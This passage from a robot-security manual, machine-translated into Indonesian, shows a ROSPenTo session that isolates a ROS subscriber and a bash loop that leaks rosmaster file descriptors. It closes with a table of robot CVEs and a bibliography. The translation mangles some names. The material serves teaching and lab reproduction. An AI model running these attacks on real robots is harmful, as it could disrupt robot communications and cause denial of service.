13: Update publishers list of subscriber (remove)...
14: Isolate service...
15: Unsubscribe node from parameter (only C++)...
16: Update subscribed parameter at Node (only C++)...
13
To which subscriber do you want to send the publisherUpdate message?
Please enter number of subscriber (e.g.: 0.0):
0.1
Which topic should be affected?
Please enter number of topic (e.g.: 0.0):
0.0
Which publisher(s) do you want to remove?
Please enter number of publisher(s) (e.g.: 0.0,0.1,...):
0.0
sending publisherUpdate to subscriber '/listener (XmlRpcUri: http://172.17.0.2:36963/)' over topic '/flag (Type: std_msgs/String)' with publishers ''
PublisherUpdate completed successfully.
Anda seharusnya melihat bahwa /listenertidak menerima informasi lagi.
Jika kita memeriksa ROS Master API melalui alat baris perintah yang ditawarkan ROS, kita dapat melihat tidak ada perubahan yang terjadi di node:
root@19246d9bf44b:/# rosnode list
/listener
/publisher
/rosout
Pemeriksaan lebih lanjut terhadap Master ROS ROSPenTomemberikan respons yang sama persis. Terminal dump berikut menyiratkan analisis ulang dan cetakan terakhir komunikasi:
sending publisherUpdate to subscriber '/listener (XmlRpcUri: http://172.17.0.2:41723/)' over topic '/flag (Type: std_msgs/String)' with publishers ''
PublisherUpdate completed successfully.
What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
3: Print information about analyzed system...
4: Print nodes of analyzed system...
5: Print node types of analyzed system (Python or C++)...
6: Print topics of analyzed system...
7: Print services of analyzed system...
8: Print communications of analyzed system...
9: Print communications of topic...
10: Print parameters...
11: Update publishers list of subscriber (add)...
12: Update publishers list of subscriber (set)...
13: Update publishers list of subscriber (remove)...
14: Isolate service...
15: Unsubscribe node from parameter (only C++)...
16: Update subscribed parameter at Node (only C++)...
1
Please input URI of ROS Master: (e.g. http://localhost:11311/)
http://localhost:11311/
URI ' http://localhost:11311/' is not valid!
Please input URI of ROS Master: (e.g. http://localhost:11311/)
http://localhost:11311/
System 0: http://127.0.0.1:11311/
Nodes:
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
Topics:
Topic 0.0: /flag (Type: std_msgs/String)
Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Services:
Service 0.3: /listener/get_loggers
Service 0.2: /listener/set_logger_level
Service 0.1: /publisher/get_loggers
Service 0.0: /publisher/set_logger_level
Service 0.4: /rosout/get_loggers
Service 0.5: /rosout/set_logger_level
Communications:
Communication 0.0:
Publishers:
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
Topic 0.0: /flag (Type: std_msgs/String)
Subscribers:
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
Communication 0.1:
Publishers:
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
Subscribers:
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
Communication 0.2:
Publishers:
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Subscribers:
Parameters:
Parameter 0.0:
Name: /roslaunch/uris/host_19246d9bf44b__37253
Parameter 0.1:
Name: /rosdistro
Parameter 0.2:
Name: /rosversion
Parameter 0.3:
Name: /run_id
What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
3: Print information about analyzed system...
4: Print nodes of analyzed system...
5: Print node types of analyzed system (Python or C++)...
6: Print topics of analyzed system...
7: Print services of analyzed system...
8: Print communications of analyzed system...
9: Print communications of topic...
10: Print parameters...
11: Update publishers list of subscriber (add)...
12: Update publishers list of subscriber (set)...
13: Update publishers list of subscriber (remove)...
14: Isolate service...
15: Unsubscribe node from parameter (only C++)...
16: Update subscribed parameter at Node (only C++)...
8
Please enter number of analysed system:
0
System 0: http://127.0.0.1:11311/
Communications:
Communication 0.0:
Publishers:
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
Topic 0.0: /flag (Type: std_msgs/String)
Subscribers:
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
Communication 0.1:
Publishers:
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
Subscribers:
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
Communication 0.2:
Publishers:
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Subscribers:
Seperti yang dapat dilihat, tidak ada perubahan (yang nyata) dalam komunikasi ketika melakukan introspeksi terhadap ROS Master.
Yang terjadi adalah ROSPenTofungsi XML-RPC yang dipanggil publisherUpdatedengan daftar penerbit kosong sebagai parameter. Hal ini menyebabkan /listenernode menganggap tidak ada penerbit yang tersedia untuk /flagTopik dan dengan demikian, koneksi ke /publishernode pun berakhir.
Sumber daya
[1] Mendia, GO, Juan, LUS, Bascaran, XP, Calvo, AB, Cordero, AH, Ugarte, IZ, … & Vilches, VM (2018). Robotics CTF (RCTF), tempat bermain untuk peretasan robot. arXiv pracetak arXiv:1810.02690.
[2] Skenario Robotics CTF (RCTF), sebuah taman bermain untuk menantang keamanan robot. Diperoleh dari https://github.com/aliasrobotics/RCTF
[3] Dieber, B., Breiling, B., Taurer, S., Kacianka, S., Rass, S., & Schartner, P. (2017). Keamanan untuk Sistem Operasi Robot. Robotika dan Sistem Otonom, 98, 192-203.
[4] Tutorial SROS2, IROS 2018. Diperoleh dari https://ruffsl.github.io/IROS2018_SROS2_Tutorial/.
[5] roschaos. Diperoleh dari https://github.com/ruffsl/roschaos.
[6] ROSPenTo. Diperoleh dari https://github.com/jr-robotics/ROSPenTo.
Soket dibiarkan terbuka dan dalam status CLOSE_WAIT di ROS ( Jadedistro dan sebelumnya)
Dalam tutorial ini, kami akan memanfaatkan kerentanan tersebut. Pertama kali dilaporkan pada bulan April 2015 di https://github.com/ros/ros_comm/issues/610, httplib yang mendasarinya ros_commmengimplementasikan hal-hal sehingga koneksi hanya ditutup jika Anda mengirim header “connection: close”. Meskipun klien mungkin menutup koneksi, soket tetap dalam status `CLOSE_WAIT [3, 4].
Catatan : seperti pada tutorial sebelumnya, ada kontainer docker yang memudahkan reproduksi karya tutorial ini. Kontainer dapat dibangun dengan:
docker build -t basic_cybersecurity13:latest .
dan jalankan dengan:
docker run -it basic_cybersecurity13:latest
Mereproduksi cacat
Kinetis
Mari kita mulai Kineticdan mencoba mereproduksinya seperti yang dilaporkan di https://github.com/ros/ros_comm/issues/610#issuecomment-100301061:
docker build -f Dockerfile.kinetic -t basic_cybersecurity13:latest . # build the kinetic Dockerfile
docker run -it basic_cybersecurity13:latest
root@4256f9eb9567:~# roscore &
root@4256f9eb9567:~# roslaunch /opt/ros/kinetic/share/roscpp_tutorials/launch/talker_listener.launch
...
^C
root@4256f9eb9567:~# roslaunch /opt/ros/kinetic/share/roscpp_tutorials/launch/talker_listener.launch
...
^C
di baris perintah lain:
watch -n0 "lsof | grep rosmaster | grep -c CLOSE_WAIT"
Every 0.1s: lsof | grep rosmaster | grep -c CLOSE_WAIT Fri Nov 2 12:34:36 2018
0
pada suatu titik, ketika meluncurkan kembali dan menghentikan kembali launchfile, kita akan melihat:
Every 0.1s: lsof | grep rosmaster | grep -c CLOSE_WAIT Fri Nov 2 12:37:29 2018
5
dalam kasus tersebut:
root@5f6d4b210151:/# netstat -aeltnp | grep CLOSE_WAIT
tcp 1 0 172.17.0.2:35586 172.17.0.2:34571 CLOSE_WAIT 0 196101 48/python
tcp 0 0 172.17.0.2:45520 172.17.0.2:11311 CLOSE_WAIT 0 136921 61/rosout
tetapi begitu root@4256f9eb9567:~# roslaunch /opt/ros/kinetic/share/roscpp_tutorials/launch/talker_listener.launchdijalankan lagi, jumlah deskriptor file kembali ke 0.
Tampaknya ada sedikit gangguan pada Kineticdistro tetapi kebocoran FD tampaknya dapat diatasi. Tidak ada masalah dengan distro Kinetic .
Nila
docker build -f Dockerfile.indigo -t basic_cybersecurity13:latest . # build the indigo Dockerfile
docker run -it basic_cybersecurity13:latest
roscore &
roslaunch /opt/ros/indigo/share/roscpp_tutorials/launch/talker_listener.launch
... logging to /root/.ros/log/280ed2ea-de98-11e8-b9b0-0242ac110002/roslaunch-4256f9eb9567-1088.log
Checking log directory for disk usage. This may take awhile.
Press Ctrl-C to interrupt
Done checking log file disk usage. Usage is <1GB.
started roslaunch server http://4256f9eb9567:43961/
SUMMARY
========
PARAMETERS
* /rosdistro: indigo
* /rosversion: 1.11.21
NODES
/
listener (roscpp_tutorials/listener)
talker (roscpp_tutorials/talker)
ROS_MASTER_URI=http://localhost:11311
core service [/rosout] found
process[listener-1]: started with pid [1106]
process[talker-2]: started with pid [1107]
[ INFO] [1541160590.106715200]: hello world 0
[ INFO] [1541160590.207328800]: hello world 1
...
^C
Ulangi hal berikut beberapa kali:
roslaunch /opt/ros/indigo/share/roscpp_tutorials/launch/talker_listener.launch
... logging to /root/.ros/log/280ed2ea-de98-11e8-b9b0-0242ac110002/roslaunch-4256f9eb9567-1088.log
Checking log directory for disk usage. This may take awhile.
Press Ctrl-C to interrupt
Done checking log file disk usage. Usage is <1GB.
started roslaunch server http://4256f9eb9567:43961/
SUMMARY
========
PARAMETERS
* /rosdistro: indigo
* /rosversion: 1.11.21
NODES
/
listener (roscpp_tutorials/listener)
talker (roscpp_tutorials/talker)
ROS_MASTER_URI=http://localhost:11311
core service [/rosout] found
process[listener-1]: started with pid [1106]
process[talker-2]: started with pid [1107]
[ INFO] [1541160590.106715200]: hello world 0
[ INFO] [1541160590.207328800]: hello world 1
...
^C
Kemudian
root@4256f9eb9567:~# lsof | grep rosmaster | grep -c CLOSE_WAIT
10
atau:
root@4256f9eb9567:~# netstat -aeltnp | grep CLOSE_WAIT
tcp 1 0 172.17.0.2:57826 172.17.0.2:34649 CLOSE_WAIT 0 113151 1468/python
tcp 1 0 172.17.0.2:42052 172.17.0.2:37739 CLOSE_WAIT 0 114078 1468/python
tcp 0 0 172.17.0.2:45088 172.17.0.2:11311 CLOSE_WAIT 0 114002 1454/rosout
(perhatikan korelasi antara pythonsoket Nama Program dan jumlah deskriptor berkas yang terbuka (tepatnya 5 kali lipat jumlahnya)).
Ada kebocoran FD di Indigodistro.
Giok
Masalah yang sama berlaku untuk Jadekebocoran FD.
Mengotomatiskan eksploitasi
Cara paling sederhana untuk melakukannya adalah dengan menyusun skrip yang mengeksploitasi kelemahan tersebut dan menamainya rossockets.sh:
#!/bin/bash
while true; do
roslaunch /opt/ros/indigo/share/roscpp_tutorials/launch/talker_listener.launch & sleep 2; kill -INT %+
done
Kemudian:
roscore &
./rossockets.sh > /tmp/dump.txt &
watch -n0 "lsof | grep rosmaster | grep -c CLOSE_WAIT"
Anda akan melihat bagaimana jumlah deskriptor file akan mulai meningkat dan mencapai seribu dalam beberapa menit.
Sumber daya
[1] Mendia, GO, Juan, LUS, Bascaran, XP, Calvo, AB, Cordero, AH, Ugarte, IZ, … & Vilches, VM (2018). Robotics CTF (RCTF), tempat bermain untuk peretasan robot. arXiv pracetak arXiv:1810.02690.
[2] Skenario Robotics CTF (RCTF), sebuah taman bermain untuk menantang keamanan robot. Diperoleh dari https://github.com/aliasrobotics/RCTF
[3] rosmaster meninggalkan soket dalam status CLOSE_WAIT. Diperoleh dari https://github.com/ros/ros_comm/issues/610.
[4] Tutup soket CLOSE_WAIT secara default. Diperoleh dari https://github.com/ros/ros_comm/pull/1104.
Temuan
Daftar temuan keamanan (yang mungkin tidak lengkap) yang disumbangkan saat menyusun manual ini dirangkum di bawah ini. Daftar ini disediakan sebagai referensi tentang jenis kelemahan keamanan yang harus diharapkan dalam teknologi robot modern.
Lihat masing-masing kelemahan keamanan dan/atau saran terkait untuk rincian tambahan:
ID CVE Keterangan Cakupan CVSS Catatan
CVE-2019-19625 Alat untuk membuat dan mendistribusikan kunci untuk ROS 2 (SROS2) dan menggunakan plugin keamanan dasar DDS dari ROS 2 membocorkan informasi node karena konfigurasi default yang bocor ( tautan ). Paparan ini pertama kali diangkat dalam Lokakarya Keamanan ROSCon 2019 (November 2019). Penelusuran lebih lanjut terhadap kelemahan tersebut menunjukkan bahwa mungkin ada beberapa masalah dasar tambahan. ROS 2 Fasih, Gagah 7.5 Upaya pertama untuk menguranginya di sini . Tidak ada waktu lebih lanjut yang dialokasikan.
CVE-2019-19626 Skrip Bash (file UR ajaib) diluncurkan secara otomatis dengan hak akses root dan tanpa validasi atau pembersihan Seri CB UR3, UR5, UR10 6.8 ( 10.0 dengan RVSS ) CB 3.1 3.4.5-100
CVE-2019-19627 SROS2 membocorkan informasi node, terlepas dari rtps_protection_kindpengaturannya ROS 2 Fasih, ROS 2 Gagah 6.5 Dikonfirmasi dengan implementasi FastRTPS DDS sebagai middleware komunikasi yang mendasari ROS 2
CVE-2020-10264 Antarmuka RTDE memungkinkan pembacaan data robot yang tidak diautentikasi dan penulisan register dan output yang tidak diautentikasi Seri CB 3.1 UR3, UR5, UR10, seri e UR3e, UR5e, UR10e, UR16e 9.8 CB 3.1 SW Versi 3.3 dan lebih tinggi, SW seri e versi 5.0 dan lebih tinggi
CVE-2020-10265 Server dasbor UR memungkinkan kontrol jarak jauh tanpa autentikasi terhadap fungsi inti robot Seri CB 2 dan 3.1 UR3, UR5, UR10, seri e UR3e, UR5e, UR10e, UR16e 9.4 Versi CB2 SW Versi 1.4 ke atas, CB3 SW Versi 3.0 ke atas, e-series SW Versi 5.0 ke atas
CVE-2020-10266 Tidak ada pemeriksaan integritas pada artefak platform UR+ saat dipasang di robot Seri CB 3.1 UR3, UR5, UR10 8.8 Seri CB 3.1 FW versi 3.3 hingga 3.12.1. Mungkin memengaruhi robot lama dan baru (seri e)
CVE-2020-10267 Kekayaan intelektual yang tidak dilindungi di pengontrol Universal Robots CB 3.1 di seluruh versi firmware Seri CB 3.1 UR3, UR5 dan UR10 7.5 diuji pada 3.13.0, 3.12.1, 3.12, 3.11 dan 3.10.0
CVE-2020-10268 Mengakhiri Layanan Penting di pengontrol KUKA KR C4 KR3R540, KRC4, KSS8.5.7HF1, Win7_Tertanam 6.1 Merusak kalibrasi robot, setelah itu memerlukan alat khusus.
CVE-2020-10269 Kredensial Hardcoded pada Titik Akses Nirkabel MiRX00 MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 9.8 firmware v2.8.1.1 dan sebelumnya
CVE-2020-10270 Kredensial yang Dikodekan Secara Keras pada Dasbor Kontrol MiRX00 MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 9.8 v2.8.1.1 dan sebelumnya
CVE-2020-10271 Grafik komputasional MiR ROS diekspos ke semua antarmuka jaringan, termasuk jaringan nirkabel yang keamanannya buruk dan jaringan kabel terbuka MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 10.0 v2.8.1.1 dan sebelumnya
CVE-2020-10272 Grafik komputasional MiR ROS tidak menunjukkan mekanisme otentikasi MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 10.0 v2.8.1.1 dan sebelumnya
CVE-2020-10273 Kekayaan intelektual yang tidak dilindungi dalam pengendali Mobile Industrial Robots (MiR) MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 7.5 v2.8.1.1 dan sebelumnya
CVE-2020-10274 MiR REST API memungkinkan pencurian data oleh penyerang yang tidak berwenang (misalnya peta dalam ruangan) MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 7.1 v2.8.1.1 dan sebelumnya
CVE-2020-10275 Pembuatan token lemah untuk REST API MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 9.8 v2.8.1.1 dan sebelumnya
CVE-2020-10276 Kredensial default pada SICK PLC memungkinkan penonaktifan fitur keselamatan MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 9.8 v2.8.1.1 dan sebelumnya
CVE-2020-10277 Booting dari gambar langsung menyebabkan pencurian informasi yang masuk akal dan peningkatan hak istimewa MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 6.4 v2.8.1.1 dan sebelumnya
CVE-2020-10278 BIOS yang tidak dilindungi memungkinkan pengguna untuk melakukan boot dari citra OS langsung MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 6.1 v2.8.1.1 dan sebelumnya
CVE-2020-10279 Sistem operasi bawaan yang tidak aman pada robot MiR MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 10.0 v2.8.1.1 dan sebelumnya
CVE-2020-10280 Server Apache rentan terhadap DoS MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 8.2 v2.8.1.1 dan sebelumnya
CVE-2020-10281 Transmisi teks biasa dari informasi sensitif dalam protokol MAVLink versi 1.0 dan 2.0 MAVLink dan autopilot terkait (ArduPilot, PX4) 7.5 MAVLink v2.0 dan sebelumnya
CVE-2020-10282 Tidak ada otentikasi dalam protokol MAVLink MAVLink 1.0 dan autopilot terkait (ArduPilot, PX4) 9.8
CVE-2020-10283 Handshaking versi MAVLink memungkinkan penyerang untuk melewati otentikasi MAVLink 2.0 dan sebelumnya di semua autopilot terkait (ArduPilot, PX4) 10.0
CVE-2020-10284 Tidak diperlukan Autentikasi untuk menjalankan kontrol manual robot xArm5, xArm6, xArm7 10.0 v1.5.0 dan sebelumnya
CVE-2020-10285 Implementasi autentikasi yang lemah membuat sistem rentan terhadap serangan brute-force melalui jaringan yang berdekatan xArm5, xArm6, xArm7 8.3 v1.5.0 dan sebelumnya
CVE-2020-10286 Penerapan izin yang salah kelola menyebabkan peningkatan hak istimewa, eksfiltrasi informasi sensitif, dan DoS xArm5, xArm6, xArm7 8.3 v1.5.0 dan sebelumnya
CVE-2020-10287 Kredensial default yang dikodekan secara keras pada Server OPC IRC 5 IRB140 IRC5 adalah singkatan dari IRB140. 9.1
CVE-2020-10288 Tidak diperlukan otentikasi untuk mengakses layanan FTP ABB IRC5 IRB140, IRC5, Robotware_5.09, VxWorks5.5.1 dari ABB 9.8
CVE-2020-10289 Penggunaan muatan yaml yang tidak aman, ./src/actionlib/tools/library.py ROS Jade, Kinetik, Lunar, Melodi dan Noetik 8.0 Dimitigasi dalam PR-Melodik dan PR-Noetik
CVE-2020-10290 Universal Robots URCaps dijalankan dengan hak istimewa yang tidak terbatas Seri CB 3.1 UR3, UR5 dan UR10 6.8
CVE-2020-10291 Pengungkapan informasi sistem tanpa otentikasi pada simulator KUKA Server Lisensi Jaringan Komponen Visual KUKA 2.0.8 7.5
CVE-2020-10292 Layanan DoS melalui dereferensi penunjuk sembarangan pada simulator KUKA Server Lisensi Jaringan Komponen Visual KUKA 2.0.8 8.2
CVE-2021-38445 Versi OCI OpenDDS sebelum 3.18.1 tidak menangani parameter panjang yang konsisten dengan panjang sebenarnya dari data terkait, yang dapat memungkinkan penyerang untuk mengeksekusi kode sembarangan dari jarak jauh. OpenDDS, ROS 2 * 7.0 Pernyataan gagal >= 3.18.1
CVE-2021-38447 Versi OCI OpenDDS sebelum 3.18.1 rentan saat penyerang mengirim paket yang dibuat khusus untuk membanjiri perangkat target dengan lalu lintas yang tidak diinginkan, yang dapat mengakibatkan kondisi penolakan layanan. OpenDDS, ROS 2 * 8.6 Kelelahan sumber daya >= 3.18.1
CVE-2021-38435 RTI Connext DDS Professional, Connext DDS Secure Versi 4.2x hingga 6.1.0, dan Connext DDS Micro Versi 3.0.0 dan yang lebih baru tidak menghitung ukuran dengan benar saat mengalokasikan buffer, yang dapat mengakibatkan luapan buffer KoneksiDDS, ROS 2 * 8.6 Kesalahan segmentasi melalui jaringan >= 6.1.0
CVE-2021-38423 Semua versi GurumDDS tidak menghitung dengan tepat ukuran yang akan digunakan saat mengalokasikan buffer, yang dapat mengakibatkan luapan buffer. GurumDDS, ROS 2 * 8.6 Kesalahan segmentasi melalui jaringan
CVE-2021-38439 Semua versi GurumDDS rentan terhadap luapan buffer berbasis tumpukan, yang dapat menyebabkan kondisi penolakan layanan atau mengeksekusi kode arbitrer dari jarak jauh. GurumDDS, ROS 2 * 8.6 Heap-overflow melalui jaringan
CVE-2021-38437 GurumDDS, ROS 2 * 7.3 Pustaka XML yang tidak terawat.
CVE-2021-38441 Versi Eclipse CycloneDDS sebelum 0.8.0 rentan terhadap kondisi tulis-apa-di mana, yang dapat memungkinkan penyerang untuk menulis nilai sembarangan dalam parser XML. SiklonDDS, ROS 2 * 6.6 Penulisan tumpukan dalam parser XML
CVE-2021-38443 Versi Eclipse CycloneDDS sebelum 0.8.0 tidak menangani struktur yang tidak valid dengan benar, yang dapat memungkinkan penyerang untuk menulis nilai sembarangan dalam parser XML. SiklonDDS, ROS 2 * 6.6 Penulisan tumpukan 8-byte dalam parser XML
CVE-2021-38427 RTI Connext DDS Professional, Connext DDS Secure Versi 4.2x hingga 6.1.0, dan Connext DDS Micro Versi 3.0.0 dan yang lebih baru rentan terhadap limpahan buffer berbasis tumpukan, yang dapat memungkinkan penyerang lokal untuk mengeksekusi kode sembarangan RTI ConnextDDS, ROS 2 * 6.6 Tumpukan luapan dalam parser XML >= 6.1.0
CVE-2021-38433 RTI Connext DDS Professional, Connext DDS Secure Versi 4.2x hingga 6.1.0, dan Connext DDS Micro Versi 3.0.0 dan yang lebih baru rentan terhadap luapan buffer berbasis tumpukan, yang dapat memungkinkan penyerang lokal mengeksekusi kode sembarangan. RTI ConnextDDS, ROS 2 * 6.6 Tumpukan luapan dalam parser XML >= 6.1.0
CVE-2021-38487 RTI Connext DDS Professional, Connext DDS Secure Versi 4.2x hingga 6.1.0, dan Connext DDS Micro Versi 3.0.0 dan yang lebih baru rentan saat penyerang mengirim paket yang dibuat khusus untuk membanjiri perangkat korban dengan lalu lintas yang tidak diinginkan, yang dapat mengakibatkan kondisi penolakan layanan. KoneksiDDS, ROS 2 * 8.6 Patch mitigasi di >= 6.1.0
CVE-2021-38429 Versi OCI OpenDDS sebelum 3.18.1 rentan saat penyerang mengirim paket yang dibuat khusus untuk membanjiri perangkat korban dengan lalu lintas yang tidak diinginkan, yang dapat mengakibatkan kondisi penolakan layanan. OpenDDS, ROS 2 * 8.6 Patch mitigasi di >= 3.18.1
CVE-2021-38425 Versi eProsima Fast-DDS sebelum 2.4.0 (#2269) rentan terhadap eksploitasi saat penyerang mengirim paket yang dibuat khusus untuk membanjiri perangkat target dengan lalu lintas yang tidak diinginkan, yang dapat mengakibatkan kondisi penolakan layanan. eProsima Cepat-DDS, ROS 2 * 8.6 Mitigasi WIP di master
* : Semua versi ROS 2 dalam cakupan jika didukung oleh implementasi middleware DDS yang rentan.
Bibliografi
Alzola-Kirschgens, Laura, Irati Zamalloa Ugarte, Endika Gil Uriarte, Aday Muniz Rosas, dan Vı́ctor Mayoral Vilches. 2018. “Bahaya Robot: Dari Keselamatan hingga Keamanan.” arXiv Pracetak arXiv:1806.06681 .
Balsa-Comerón, Jesús, Ángel Manuel Guerrero-Higueras, Francisco Javier Rodrı́guez-Lera, Camino Fernández-Llamas, dan Vicente Matellán-Olivera. 2017. “Keamanan Siber dalam Sistem Otonom: Memperkuat ROS Menggunakan Komunikasi Terenkripsi dan Aturan Semantik.” Dalam Konferensi Robotika Iberia , 67–78. Peloncat.
Bozic, Josip, dan Franz Wotawa. 2017. “Merencanakan Serangan! Atau Bagaimana Menggunakan AI dalam Pengujian Keamanan?” Dalam IWAISe: Lokakarya Internasional Pertama tentang Kecerdasan Buatan dalam Keamanan . Vol. 50.
Breiling, B., B. Dieber, dan P. Schartner. 2017. “Komunikasi Aman untuk Sistem Operasi Robot.” Dalam Konferensi Sistem Internasional IEEE Tahunan 2017 (SysCon) , 1–6. https://doi.org/10.1109/SYSCON.2017.7934755 .
Caiazza, Gianluca. 2017. “Peningkatan Keamanan Sistem Operasi Robot.” Tesis {BS}, Universitas à Ca'Foscari Venezia.
Caiazza, Gianluca, Ruffin White, dan Agostino Cortesi. 2019. “Meningkatkan Keamanan dalam ROS.” Dalam Komputasi dan Sistem Keamanan Tingkat Lanjut , 3–15. Springer.
Dieber, Bernhard, dan Benjamin Breiling. 2019. “Pertimbangan Keamanan dalam Manipulasi Seluler Modular.” Dalam Konferensi Internasional IEEE Ketiga tentang Komputasi Robotik (IRC) 2019 , 70–77. IEEE.
Dieber, Bernhard, Benjamin Breiling, Sebastian Taurer, Severin Kacianka, Stefan Rass, dan Peter Schartner. 2017. “Keamanan untuk Sistem Operasi Robot.” Robot. Auton. Syst. 98 (C): 192–203. https://doi.org/10.1016/j.robot.2017.09.017 .
Dieber, Bernhard, Severin Kacianka, Stefan Rass, dan Peter Schartner. 2016. “Keamanan Tingkat Aplikasi untuk Aplikasi Berbasis ROS.” Dalam Konferensi Internasional IEEE/RSJ 2016 tentang Robot Cerdas dan Sistem (IROS) , 4477–82. IEEE.
Dieber, Bernhard, Andreas Schlotzhauer, dan Mathias Brandstötter. 2017. “Keselamatan & Keamanan – Erfolgsfaktoren von Sensitiven Robotertechnologien.” E & i Elektrotechnik dan Informationstechnik 134 (6): 299–303.
Dieber, Bernhard, Ruffin White, Sebastian Taurer, Benjamin Breiling, Gianluca Caiazza, Henrik Christensen, dan Agostino Cortesi. 2020. “Pengujian Penetrasi ROS.” Dalam Sistem Operasi Robot (ROS) , 183–225. Peloncat.
Guerrero-Higueras, Ángel Manuel, Noemı́ DeCastro-Garcı́a, Francisco Javier Rodrı́guez-Lera, dan Vicente Matellán. 2017. “Analisis Empiris Serangan Siber terhadap Sistem Lokalisasi Waktu Nyata Dalam Ruangan untuk Robot Otonom.” Komputer & Keamanan 70: 422–35.
Lacava, G, A Marotta, F Martinelli, A Saracino, A La Marra, E Gil-Uriarte, dan V Mayoral-Vilches. 2020. “Masalah Penelitian Terkini tentang Keamanan Siber di Robotika.”
Lera, Francisco J Rodrı́guez, Camino Fernández Llamas, Ángel Manuel Guerrero, dan Vicente Matellán Olivera. 2017. “Keamanan Siber Robotika dan Sistem Otonom: Privasi dan Keamanan.” Dampak Robotika-Hukum, Etika dan Sosial Ekonomi .
Lera, Francisco Javier Rodrıguez, Jesús Balsa, Fernando Casado, Camino Fernández, Francisco Martın Rico, dan Vicente Matellán. 2016. “Keamanan Siber dalam Sistem Otonom: Mengevaluasi Kinerja Pengerasan ROS.” Má laga , Spanyol 47.
Lera, Francisco Javier Rodrıguez, Vicente Matellán, Jesús Balsa, dan Fernando Casado. 2016. “Ciberseguridad En Robots Aut ó nomos: Sebuah á lisis dan Evaluasi di Multiplataforma Del Bastionado ROS.” Actas Jornadas Sarteco , 571–78.
Mayoral Vilches, Vı́ctor, Endika Gil-Uriarte, Irati Zamalloa Ugarte, Gorka Olalde Mendia, Rodrigo Izquierdo Pisón, Laura Alzola Kirschgens, Asier Bilbao Calvo, Alejandro Hernández Cordero, Lucas Apa, dan César Cerrudo. 2018. “Menuju Standar Terbuka untuk Menilai Tingkat Keparahan Kerentanan Keamanan Robot, Robot Vulnerability Scoring System (RVSS).” arXiv Pracetak arXiv:1807.10357 .
Mayoral-Vilches, Victor, Alfonso Glera-Picón, Unai Ayúcar-Carbajo, Stefan Rass, Martin Pinzger, Federico Maggi, dan Endika Gil-Uriarte. 2021. “Peretasan Keusangan yang Direncanakan dalam Robotika, Menuju Penghancuran Robot Berorientasi Keamanan.” Komunikasi Elektronik EASST 80.
Mayoral-Vilches, Vı́ctor, Irati Abad-Fernández, Martin Pinzger, Stefan Rass, Bernhard Dieber, Alcino Cunha, Francisco J Rodrı́guez-Lera, dkk. 2020. “Alurity, Kotak Peralatan untuk Keamanan Siber Robot.” arXiv Pracetak arXiv:2010.07759 .
Mayoral-Vilches, Vı́ctor, Unai Ayucar Carbajo, dan Endika Gil-Uriarte. 2020. “Ransomware Robot Industri: Akerbeltz.” Pada Konferensi Internasional IEEE Keempat tentang Komputasi Robot (IRC) tahun 2020 , 432–35. IEEE.
Mayoral-Vilches, Vı́ctor, Nuria Garcı́a-Maestro, Menara McKenna, dan Endika Gil-Uriarte. 2020. “DevSecOps dalam Robotika.” arXiv Pracetak arXiv:2003.10402 .
Mayoral-Vilches, Vı́ctor, Laura Alzola Kirschgens, Asier Bilbao Calvo, Alejandro Hernández Cordero, Rodrigo Izquierdo Pisón, David Mayoral Vilches, Aday Muñiz Rosas, dkk. 2018. “Memperkenalkan Robot Security Framework (Rsf), Metodologi Standar untuk Melakukan Penilaian Keamanan dalam Robotika.” arXiv Pracetak arXiv:1806.04042 .
Mayoral-Vilches, Vı́ctor, Laura Alzola Kirschgens, Endika Gil-Uriarte, Alejandro Hernández, dan Bernhard Dieber. 2018. “Forensik Memori Volatil untuk Sistem Operasi Robot.” arXiv Pracetak arXiv:1812.09492 .
Mayoral-Vilches, Vı́ctor, Gorka Olalde Mendia, Xabier Perez Baskaran, Alejandro Hernández Cordero, Lander Usategui San Juan, Endika Gil-Uriarte, Odei Olalde Saez de Urabain, dan Laura Alzola Kirschgens. 2018. “Aztarna, Alat Jejak Robot.” arXiv Pracetak arXiv:1812.09490 .
